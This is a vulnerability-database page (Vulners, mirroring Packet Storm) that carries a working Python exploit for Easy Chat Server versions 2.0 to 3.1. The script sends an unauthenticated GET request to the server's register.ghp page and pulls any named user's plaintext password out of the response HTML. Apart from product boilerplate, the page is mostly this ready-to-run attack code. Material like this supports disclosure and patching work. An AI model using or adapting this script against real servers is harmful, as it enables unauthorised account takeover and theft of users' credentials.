Lucene search
K

Easy Chat Server 3.1 Password Disclosure

🗓️ 09 Jun 2017 00:00:00Reported by Aitezaz MohsinType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Easy Chat Server 3.1 Remote Password Disclosure via 'register.ghp

Code
`# Exploit Title: Easy Chat Server Remote Password Disclosure  
# Date: 09/10/2017  
# Software Link: http://echatserver.com/ecssetup.exe  
# Exploit Author: Aitezaz Mohsin  
# Vulnerable Version: v2.0 to v3.1  
# Vulnerability Type: Pre-Auth Remote Password Disclosure  
# Severity: Critical  
  
# =========================================================================================================  
# Registeration page 'register.ghp' allows disclosing ANY user's password.  
# Remote un-authenticated attackers can send HTTP GET requests to obtain ANY Easy Chat Server user password.  
# =========================================================================================================  
  
# USAGE: python exploit.py ip username  
  
#!/usr/bin/python  
  
import urllib  
import re  
import requests  
import sys  
  
ip = sys.argv[1]  
username = sys.argv[2]  
  
url = 'http://' + ip + '/register.ghp?username=' + username + '&password='  
response = requests.get(url)  
html = response.content  
  
pattern = '<INPUT type="password" name="Password" maxlength="30" value="(.+?)">'  
result = re.compile(pattern)  
  
password = re.findall(result,html)  
  
x = ''.join(password)  
  
password = x.replace("[", "")  
password = x.replace("]", "")  
  
print "Password: " + password  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2017 00:00Current
7.4High risk
Vulners AI Score7.4
24